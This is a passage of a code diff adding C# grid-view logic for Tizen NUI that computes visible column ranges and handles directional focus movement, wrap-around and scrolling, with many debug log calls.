+                areaStartPos = visibleArea.X;
+                areaEndPos = visibleArea.X + visibleArea.Width;
+                focusedCellStart = focusedCell.rect.X;
+                focusedCellEnd = focusedCell.rect.X + focusedCell.rect.Width;
+            }
+            else
+            {
+                areaStartPos = visibleArea.Y;
+                areaEndPos = visibleArea.Y + visibleArea.Height;
+                focusedCellStart = focusedCell.rect.Y;
+                focusedCellEnd = focusedCell.rect.Y + focusedCell.rect.Height;
+            }
+
+            bool bStartFound = false, bEndFound = false;
+
+            int groupCount = groupList.Count;
+            //find start range
+            if ((bAllInArea == true && focusedCellStart < areaStartPos)
+                || (bAllInArea == false && focusedCellEnd < areaStartPos))
+            {
+               for (int i = focusGroupIndex; i < groupCount && bStartFound == false; i++)
+               {
+                   Group curGroup = groupList.ElementAt(i);
+                   int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : 0;
+                   int columnCount = curGroup.columnList.Count;
+                   for (int j = startColumnIndex; j < columnCount; j++)
+                   {
+                       Column curColumn = curGroup.columnList.ElementAt(j);
+                       if (true == bAllInArea)
+                       {
+                           if (curColumn.startPos >= areaStartPos)
+                           {
+                               range.startGroupIndex = i;
+                               range.startColumnIndex = j;
+                               bStartFound = true;
+                               break;
+                           }
+                       }
+                       else
+                       {
+                           if (curColumn.endPos > areaStartPos)
+                           {
+                               range.startGroupIndex = i;
+                               range.startColumnIndex = j;
+                               bStartFound = true;
+                               break;
+                           }
+                       }
+                   }
+               }
+            }
+            else
+            {
+                for (int i = focusGroupIndex; i >= 0 && bStartFound == false; i--)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int columnCount = curGroup.columnList.Count;
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : columnCount - 1;
+                    for (int j = startColumnIndex; j >= 0; j--)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.startPos <= areaStartPos)
+                        {
+                            if (bAllInArea == true)
+                            {
+                                if (j == columnCount - 1)
+                                {
+                                    range.startGroupIndex = i + 1;
+                                    range.startColumnIndex = 0;
+                                }
+                                else
+                                {
+                                    range.startGroupIndex = i;
+                                    range.startColumnIndex = j + 1;
+                                }
+
+                                bStartFound = true;
+                                break;
+                            }
+                            else
+                            {
+                                if (curColumn.endPos > areaStartPos)
+                                {
+                                    range.startGroupIndex = i;
+                                    range.startColumnIndex = j;
+                                }
+                                else
+                                {
+                                    if (j == columnCount - 1)
+                                    {
+                                        range.startGroupIndex = i + 1;
+                                        range.startColumnIndex = 0;
+                                    }
+                                    else
+                                    {
+                                        range.startGroupIndex = i;
+                                        range.startColumnIndex = j + 1;
+                                    }
+                                }
+
+                                bStartFound = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+
+            if (bStartFound == false)
+            {
+                range.startGroupIndex = 0;
+                range.startColumnIndex = 0;
+            }
+
+            //find end range
+            if ((bAllInArea == true && focusedCellEnd >= areaEndPos)
+                || (bAllInArea == false && focusedCellStart >= areaEndPos))
+            {
+                for (int i = focusGroupIndex; i >= 0 && bEndFound == false; i--)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int columnCount = curGroup.columnList.Count;
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : columnCount - 1;
+                    for (int j = startColumnIndex; j >= 0; j--)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (bAllInArea == true)
+                        {
+                            if (curColumn.endPos <= areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                                bEndFound = true;
+                                break;
+                            }
+                        }
+                        else
+                        {
+                            if (curColumn.startPos <= areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                                bEndFound = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+            else
+            {
+                for (int i = focusGroupIndex; i < groupCount && bEndFound == false; i++)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : 0;
+                    int columnCount = curGroup.columnList.Count;
+                    for (int j = startColumnIndex; j < columnCount; j++)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.endPos >= areaEndPos)
+                        {
+                            if (curColumn.startPos < areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                            }
+                            else
+                            {
+                                if (j == 0)
+                                {
+                                    range.endGroupIndex = i - 1;
+                                    range.endColumnIndex = groupList.ElementAt(i - 1).columnList.Count - 1; 
+                                }
+                                else
+                                {
+                                    range.endGroupIndex = i;
+                                    range.endColumnIndex = j - 1;
+                                }
+                            }
+
+                            bEndFound = true;
+                            break;
+                        }
+                    }
+                }
+            }
+
+            if (bEndFound == false)
+            {
+                range.endGroupIndex = groupCount - 1;
+                range.endColumnIndex = groupList.ElementAt(range.endGroupIndex).columnList.Count - 1;
+            }
+
+            range.startGroupInScrn = range.startGroupIndex;
+            range.startColumnInScrn = range.startColumnIndex;
+            range.endGroupInScrn = range.endGroupIndex;
+            range.endColumnInScrn = range.endColumnIndex;
+            
+            //get on screen start and end item index
+            Group startGroup = groupList.ElementAt(range.startGroupInScrn);
+            Column startColumn = startGroup.columnList.ElementAt(range.startColumnInScrn);
+            Cell startCell = startColumn.cellList.ElementAt(0);
+            range.startItemIndexInScrn = startCell.itemIndex;
+            if (range.startItemIndexInScrn >= startGroup.itemList.Count)
+            {
+                range.startItemIndexInScrn = startGroup.itemList.Count - 1;
+            }
+
+            Group endGroup = groupList.ElementAt(range.endGroupInScrn);
+            Column endColumn = endGroup.columnList.ElementAt(range.endColumnInScrn);
+            Cell endCell = endColumn.cellList.ElementAt(endColumn.cellList.Count - 1);
+            range.endItemIndexInScrn = endCell.itemIndex;
+            if (range.endItemIndexInScrn >= endGroup.itemList.Count)
+            {
+                range.endItemIndexInScrn = endGroup.itemList.Count - 1;
+            }
+
+            //add buffer columns
+            int frontBufferCount = preloadFrontColumnSize;
+            while (frontBufferCount-- > 0)
+            {
+                if (range.startColumnIndex > 0)
+                {
+                    range.startColumnIndex--;
+                }
+                else
+                {
+                    if (range.startGroupIndex > 0)
+                    {
+                        range.startGroupIndex--;
+                        range.startColumnIndex = groupList.ElementAt(range.startGroupIndex).columnList.Count - 1;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                }
+            }
+
+            int backBufferCount = preloadBackColumnSize;
+            while (backBufferCount-- > 0)
+            {
+                if (range.endColumnIndex < groupList.ElementAt(range.endGroupIndex).columnList.Count - 1)
+                {
+                    range.endColumnIndex++;
+                }
+                else
+                {
+                    if (range.endGroupIndex < groupList.Count - 1)
+                    {
+                        range.endGroupIndex++;
+                        range.endColumnIndex = 0;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                }
+            }
+        }
+        
+        private void GetItemsInRange(Range range, ref HashSet<GridItem> itemSet)
+        {
+            for (int i = range.startGroupIndex; i <= range.endGroupIndex; i++)
+            {
+                Group curGroup = groupList.ElementAt(i);
+                int startColumnIndex = (i == range.startGroupIndex) ? range.startColumnIndex : 0;
+                int endColumnIndex = (i == range.endGroupIndex) ? range.endColumnIndex : curGroup.columnList.Count - 1;
+
+                for (int j = startColumnIndex; j <= endColumnIndex; j++)
+                {
+                    Column curColumn = curGroup.columnList.ElementAt(j);
+
+                    for (int k = 0; k < curColumn.cellList.Count; k++)
+                    {
+                        Cell curCell = curColumn.cellList.ElementAt(k);
+                        if (curCell.itemIndex < curGroup.itemList.Count)
+                        {
+                            itemSet.Add(curGroup.itemList.ElementAt(curCell.itemIndex));
+                        }
+                    }
+                }
+            }
+        }
+
+        private void MoveFocus(string direction)
+        {
+            string logicalDirection = GetLogicalDirection(direction);
+            MoveFocus(logicalDirection, focusTagGroupIndex, focusTagItemIndex);
+        }
+
+        // Get the specific groupIndex,itemIndex neighbor item according to direction
+        private GridItem GetItemByDirection(string direction, int fromGroupIndex, int fromItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> direction: " + direction + " fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex);
+            Cell currentCell = GetCellByItemIndex(fromGroupIndex, fromItemIndex);
+
+            //adjust focused column index based on reference line
+            Group currentGroup = groupList.ElementAt(fromGroupIndex);
+            int currentColumnIndex = currentCell.columnIndex;
+            Column currentColumn = currentGroup.columnList.ElementAt(currentColumnIndex);
+
+            int destFocusGroupIndex = -2, destFocusItemIndex = -2;
+            int destFocusColumnIndex = -1;
+            switch (direction)
+            {
+                case "Up":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (currentCell.rowIndex == 0)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else
+                    {
+                        Cell nextCell = currentColumn.cellList.ElementAt(currentCell.rowIndex - 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+
+                    break;
+                case "Down":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (currentCell.rowIndex >= currentColumn.cellList.Count - 1)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else if (fromItemIndex == currentGroup.itemList.Count - 1)
+                    {
+                        destFocusColumnIndex = currentColumnIndex - 1;
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex + 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+                    else
+                    {
+                        Cell nextCell = currentColumn.cellList.ElementAt(currentCell.rowIndex + 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+
+                    break;
+                case "Left":
+                    if (currentCell.columnIndex == 0)
+                    {
+                        if (fromGroupIndex == 0)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex - 1;
+                            Group nextGroup = groupList.ElementAt(destFocusGroupIndex);
+                            destFocusColumnIndex = nextGroup.columnList.Count - 1;
+
+                            Column nextColumn = nextGroup.columnList.ElementAt(destFocusColumnIndex);
+                            if (currentCell.rowIndex >= nextColumn.cellList.Count)
+                            {
+                                Cell nextCell = nextColumn.cellList.ElementAt(nextColumn.cellList.Count - 1);
+                                destFocusItemIndex = nextCell.itemIndex;
+                            }
+                            else
+                            {
+                                Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                                destFocusItemIndex = nextCell.itemIndex;
+                            }
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = currentCell.columnIndex - 1;
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " currentCell.rowIndex: " + currentCell.rowIndex);
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                        destFocusItemIndex = nextCell.itemIndex;
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+                    }
+
+                    break;
+                case "Right":
+                    if (currentColumnIndex == currentGroup.columnList.Count - 1)
+                    {
+                        if (fromGroupIndex == groupList.Count - 1)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex + 1;
+                            destFocusColumnIndex = 0;
+                            Group nextGroup = groupList.ElementAt(destFocusGroupIndex);
+                            Column nextColumn = nextGroup.columnList.ElementAt(destFocusColumnIndex);
+                            Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                            destFocusItemIndex = nextCell.itemIndex;
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = currentColumnIndex + 1;
+
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " currentCell.rowIndex: " + currentCell.rowIndex);
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        if (currentCell.rowIndex >= nextColumn.cellList.Count)
+                        {
+                            
+                            Cell nextCell = nextColumn.cellList.ElementAt(nextColumn.cellList.Count - 1);
+                            destFocusItemIndex = nextCell.itemIndex;
+                            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex + " currentCell.rowIndex: " + currentCell.rowIndex + " nextColumn.cellList.Count: " + nextColumn.cellList.Count);
+                        }
+                        else
+                        {
+                            Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                            destFocusItemIndex = nextCell.itemIndex;
+                            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex + " currentCell.rowIndex: " + currentCell.rowIndex + " nextColumn.cellList.Count: " + nextColumn.cellList.Count);
+                        }
+                    }
+
+                    break;
+                default:
+                    break;
+            }
+
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " destFocusItemIndex: " + destFocusItemIndex);
+            GridItem item = null;
+            if (IsGroupIndexValid(destFocusGroupIndex) == true && IsItemIndexValid(destFocusGroupIndex, destFocusItemIndex))
+            {
+                item = groupList.ElementAt(destFocusGroupIndex).itemList.ElementAt(destFocusItemIndex);
+            }
+
+            return item;
+        }
+
+        private void MoveFocus(string direction, int fromGroupIndex, int fromItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> direction: " + direction + " fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex);
+            Cell curFocusedCell = GetCellByItemIndex(fromGroupIndex, fromItemIndex);
+            //change reference line of focus move
+            if (refXForFocusMove == -1)
+            {
+                refXForFocusMove = curFocusedCell.rect.X;
+            }
+
+            if (refYForFocusMove == -1)
+            {
+                refYForFocusMove = curFocusedCell.rect.Y;
+            }
+            
+            //adjust focused column index based on reference line
+            Group focusedGroup = groupList.ElementAt(fromGroupIndex);
+            int focusedColumnIndex = curFocusedCell.columnIndex;
+
+            Column focusedColumn = focusedGroup.columnList.ElementAt(focusedColumnIndex);
+
+            int destFocusGroupIndex = -2, destFocusItemIndex = -2;
+            int destFocusColumnIndex = -1;
+            switch (direction)
+            {
+                case "Up":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (curFocusedCell.index == 0)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else
+                    {
+                        Cell nextCell = focusedColumn.cellList.ElementAt(curFocusedCell.index - 1);
+                        {
+                            destFocusItemIndex = nextCell.itemIndex;
+                            if (destFocusItemIndex >= 0 && destFocusItemIndex < groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                if (GridType.Horizontal == gridType)
+                                {
+                                    refYForFocusMove = nextCell.rect.Y;
+                                }
+                                else
+                                {
+                                    refXForFocusMove = nextCell.rect.X;
+                                }
+                            }
+                        }
+                    }
+
+                    break;
+                case "Down":
+                    destFocusGroupIndex = fromGroupIndex;
+                    int destCellIndex = curFocusedCell.index + 1;
+                    if (destCellIndex >= focusedColumn.cellList.Count || fromItemIndex == focusedGroup.itemList.Count - 1)
+                    {
+                        destFocusItemIndex = -1;
+                        if (fromItemIndex == focusedGroup.itemList.Count - 1)
+                        {
+                            destFocusColumnIndex = focusedColumnIndex - 1;
+                            Cell cellBelow = FindCellBelow(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex);
+                            if (cellBelow != null)
+                            {
+                                destFocusItemIndex = cellBelow.itemIndex;
+                                refXForFocusMove = cellBelow.rect.X;
+                                refYForFocusMove = cellBelow.rect.Y;
+                            }
+                        }
+                    }
+                    else
+                    {
+                        Cell nextCell = null;
+                        for (; destCellIndex < focusedColumn.cellList.Count; destCellIndex++)
+                        {
+                            nextCell = focusedColumn.cellList.ElementAt(destCellIndex);
+                            {
+                                break;
+                            }
+                        }
+
+                        if (destCellIndex >= focusedColumn.cellList.Count)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusItemIndex = nextCell.itemIndex;
+                            if (destFocusItemIndex >= 0 && destFocusItemIndex < groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                if (GridType.Horizontal == gridType)
+                                {
+                                    refYForFocusMove = nextCell.rect.Y;
+                                }
+                                else
+                                {
+                                    refXForFocusMove = nextCell.rect.X;
+                                }
+                            }
+                        }
+                    }
+
+                    break;
+                case "Left":
+                    if (curFocusedCell.columnIndex == 0)
+                    {
+                        if (fromGroupIndex == 0)
+                        {
+                            if (StateLeftCircularEnable && true/*check whether  allow to loop*/)
+                            {
+                                destFocusGroupIndex = groupList.Count - 1;
+                                destFocusColumnIndex = groupList.ElementAt(destFocusGroupIndex).columnList.Count - 1;
+
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                int itemCount = groupList.ElementAt(destFocusGroupIndex).itemList.Count;
+                                while (destFocusItemIndex >= itemCount)
+                                {
+                                    destFocusColumnIndex--;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                }
+
+                                bool bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                while (bEnabled == false)
+                                {
+                                    destFocusColumnIndex--;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                    bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                }
+
+                                /*ToDo Left Circular*/
+                                SetFocus(destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                            else
+                            {
+                                destFocusItemIndex = -1;
+                            }
+
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex - 1;
+                            destFocusColumnIndex = groupList.ElementAt(destFocusGroupIndex).columnList.Count - 1;
+
+                            GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                            int itemCount = groupList.ElementAt(destFocusGroupIndex).itemList.Count;
+                            while (destFocusItemIndex >= itemCount)
+                            {
+                                destFocusColumnIndex--;
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                            }
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = curFocusedCell.columnIndex - 1;
+
+                        GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                    }
+
+                    break;
+                case "Right":
+                    {
+                        focusedColumnIndex = curFocusedCell.columnIndex;
+                    }
+
+                    Tizen.Log.Fatal("NUI", ">>>>>>>>> focusedColumnIndex: " + focusedColumnIndex);
+                    if (focusedColumnIndex == focusedGroup.columnList.Count - 1 || focusedColumnIndex == focusedGroup.lastFilledColumnIndex)
+                    {
+                        if (fromGroupIndex == groupList.Count - 1)
+                        {
+                            if (StateRightCircularEnable && true/*check whether allow right circular*/)
+                            {
+                                destFocusGroupIndex = 0;
+                                destFocusColumnIndex = 0;
+
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+
+                                bool bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                while (bEnabled == false && destFocusColumnIndex < focusedGroup.columnList.Count - 1)
+                                {
+                                    destFocusColumnIndex++;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                    bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+
+                                    refXForFocusMove = refYForFocusMove = -1;
+                                }
+
+                                /*ToDo Left Circular*/
+                                SetFocus(destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                            else
+                            {
+                                destFocusItemIndex = -1;
+                            }
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex + 1;
+                            destFocusColumnIndex = 0;
+
+                            GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = focusedColumnIndex + 1;
+
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex);
+                        GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+
+                        if (StateRightCircularEnable)
+                        {
+                            if (destFocusItemIndex >= groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                MoveFocus(direction, destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                        }
+                    }
+
+                    break;
+                default:
+                    break;
+            }
+
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex);
+            if (destFocusGroupIndex >= 0 && destFocusItemIndex >= groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+            {
+                destFocusItemIndex = -1;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+            if (destFocusItemIndex == -1)
+            {
+                //notify event focus move out
+                return;
+            }
+
+            if (gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex) == false)
+            {
+                MoveFocus(direction, destFocusGroupIndex, destFocusItemIndex);
+            }
+            else
+            {
+                PushFocus(destFocusGroupIndex, destFocusItemIndex);
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> ");
+        }
+
+
+        private void GetNearestItem(Cell focusedCell, int destGroupIndex, int destColumnIndex, ref int destItemIndex, bool bDirectMove = false)
+        {
+            Group destGroup = groupList.ElementAt(destGroupIndex);
+            Column destColumn = destGroup.columnList.ElementAt(destColumnIndex);
+
+            Cell nextCell = destColumn.cellList.ElementAt(0);
+            int cellCount = destColumn.cellList.Count;
+
+            bool bNotAllItemDisabled = false;
+            for (int i = 0; i < cellCount; i++)
+            {
+                Cell curCell = destColumn.cellList.ElementAt(i);
+                if (curCell.itemIndex >= 0 && curCell.itemIndex < destGroup.itemList.Count)
+                {
+                    if (gridBridge.IsItemEnabled(destGroupIndex, curCell.itemIndex))
+                    {
+                        bNotAllItemDisabled = true;
+                        break;
+                    }
+                }
+            }
+
+            float yDis = gridHeight + 1;
+            bool bFound = false;
+            for (int i = 0; i < cellCount; i++)
+            {
+                Cell curCell = destColumn.cellList.ElementAt(i);
+                if (curCell.itemIndex >= destGroup.itemList.Count)
+                {
+                    break;
+                }
+
+                if (curCell.itemIndex >= 0 && bNotAllItemDisabled)
+                {
+                    if (gridBridge.IsItemEnabled(destGroupIndex, curCell.itemIndex) == false)
+                    {
+                        continue;
+                    }
+                }
+
+                if (curCell.itemIndex < 0)
+                {
+                    Column realColumn = destGroup.columnList.ElementAt(curCell.columnIndex);
+                    Cell realCell = realColumn.cellList.ElementAt(curCell.rowIndex);
+                    if (realCell.itemIndex >= destGroup.itemList.Count || gridBridge.IsItemEnabled(destGroupIndex, realCell.itemIndex) == false)
+                    {
+                        continue;
+                    }
+                }
+
+                if (GridType.Vertical == gridType)
+                {
+                    float tempXDis;
+                    if (StateStraightPathEnable)
+                    {
+                        tempXDis = Math.Abs(curCell.rect.X - refXForFocusMove);
+                    }
+                    else
+                    {
+                        tempXDis = Math.Abs(curCell.rect.X - focusedCell.rect.X);
+                    }
+
+                    if (tempXDis < yDis)
+                    {
+                        bFound = true;
+                        yDis = tempXDis;
+                        nextCell = curCell;
+                        if (yDis == 0)
+                        {
+                            break;
+                        }
+                    }
+                }
+                else
+                {
+                    float tempYDis;
+                    if (StateStraightPathEnable)
+                    {
+                        tempYDis = Math.Abs(curCell.rect.Y - refYForFocusMove);
+                    }
+                    else
+                    {
+                        tempYDis = Math.Abs(curCell.rect.Y - focusedCell.rect.Y);
+                    }
+
+                    if (tempYDis < yDis)
+                    {
+                        bFound = true;
+                        yDis = tempYDis;
+                        nextCell = curCell;
+                        if (yDis == 0)
+                        {
+                            break;
+                        }
+                    }
+                }
+
+            }
+
+            {
+                destItemIndex = nextCell.itemIndex;
+                if (bFound)
+                {
+                    refXForFocusMove = nextCell.rect.X;
+                    if (bDirectMove == false)
+                    {
+                        refYForFocusMove = nextCell.rect.Y;
+                    }
+                }
+            }
+        }
+
+        private string GetLogicalDirection(string direction)
+        {
+            string logicalDirection = direction;
+
+            if (GridType.Vertical == gridType)
+            {
+                if ("Left" == direction)
+                {
+                    logicalDirection = "Up";
+                }
+                else if ("Right" == direction)
+                {
+                    logicalDirection = "Down";
+                }
+                else if ("Down" == direction)
+                {
+                    logicalDirection = "Right";
+                }
+                else if ("Up" == direction)
+                {
+                    logicalDirection = "Left";
+                }
+            }
+
+            return logicalDirection;
+        }
+
+        private Cell FindCellBelow(Cell fromCell, int destGroupIndex, int destColumnIndex)
+        {
+            Group destGroup = groupList.ElementAt(destGroupIndex);
+
+            if (destColumnIndex < 0 || destColumnIndex >= destGroup.columnList.Count)
+            {
+                return null;
+            }
+
+            Column destColumn = destGroup.columnList.ElementAt(destColumnIndex);
+
+            for (int i = 0; i < destColumn.cellList.Count; i++)
+            {
+                Cell destCell = destColumn.cellList.ElementAt(i);
+
+                if (destCell.rect.Y > fromCell.rect.Y && destCell.rect.Y + destCell.rect.Height > fromCell.rect.Y + fromCell.rect.Height)
+                {
+                    {
+                        return destCell;
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        private void SetFocus(int groupIndex, int itemIndex, bool bAnimation = false, Position newItemGroupPos = null)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> groupIndex: " + groupIndex + " itemIndex: " + itemIndex);
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                return;
+            }
+
+            bool bNeedScroll = false;
+            
+            if (newItemGroupPos == null)
+            {
+                Position itemGroupPos = new Position(0, 0, 0);
+                bNeedScroll = GetItemGroupPosByFocusItem(groupIndex, itemIndex, itemGroupPos);
+
+                itemGroupRect.X = itemGroupPos.X;
+                itemGroupRect.Y = itemGroupPos.Y;
+            }
+            else
+            {
+                if (GridType.Horizontal == gridType && itemGroupRect.X != newItemGroupPos.X
+                   || GridType.Vertical == gridType && itemGroupRect.Y != newItemGroupPos.Y)
+                {
+                    bNeedScroll = true;
+                }
+
+                itemGroupRect.X = newItemGroupPos.X;
+                itemGroupRect.Y = newItemGroupPos.Y;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y: " + itemGroupRect.Y);
+            ResetItemGroupRectPos();
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y: " + itemGroupRect.Y);
+            if (bNeedScroll)
+            {
+                Tizen.Log.Fatal("NUI", ">>>>>>>>> bAnimation: " + bAnimation);
+                if (bAnimation == true)
+                {
+                    FocusMoveViaObject obj = new FocusMoveViaObject();
+                    obj.toGroupIndex = groupIndex;
+                    obj.toItemIndex = itemIndex;
+                    focusMoveViaQ.Enqueue(obj);
+
+                    if (gridType == GridType.Horizontal)
+                    {
+                        focusMoveAni.SetDestination("PositionX", itemGroupRect.X);
+                    }
+                    else
+                    {
+                        focusMoveAni.SetDestination("PositionY", itemGroupRect.Y);
+                    }
+
+                    focusMoveAni.Play();
+                }
+                else
+                {
+                    UpdateInMemoryItems();
+                    itemGroup.PositionX = itemGroupRect.X;
+                    itemGroup.PositionY = itemGroupRect.Y;
+                    NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+                }
+            }
+            else
+            {
+                NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+            }
+
+            focusTagGroupIndex = groupIndex;
+            focusTagItemIndex = itemIndex;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+        }
+
+
+        private void PushFocus(int groupIndex, int itemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> groupIndex: " + groupIndex + " itemIndex:" + itemIndex);
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                return;
+            }
+
+            Position itemGroupPos = new Position(0, 0, 0);
+            bool bNeedScroll = GetItemGroupPosByFocusItem(groupIndex, itemIndex, itemGroupPos);
+
+            itemGroupRect.X = itemGroupPos.X;
+            itemGroupRect.Y = itemGroupPos.Y;
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y:" + itemGroupRect.Y);
+
+            ResetItemGroupRectPos();
+
+            //focusTag keep move, but real focus will set when focusMoveVia trigger,
+            //so remember context of focus move, include from and to, and itemGroupPos information
+            focusTagGroupIndex = groupIndex;
+            focusTagItemIndex = itemIndex;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X:" + itemGroupRect.X + " itemGroupRect.Y:" + itemGroupRect.Y);
+            if (bNeedScroll)
+            {
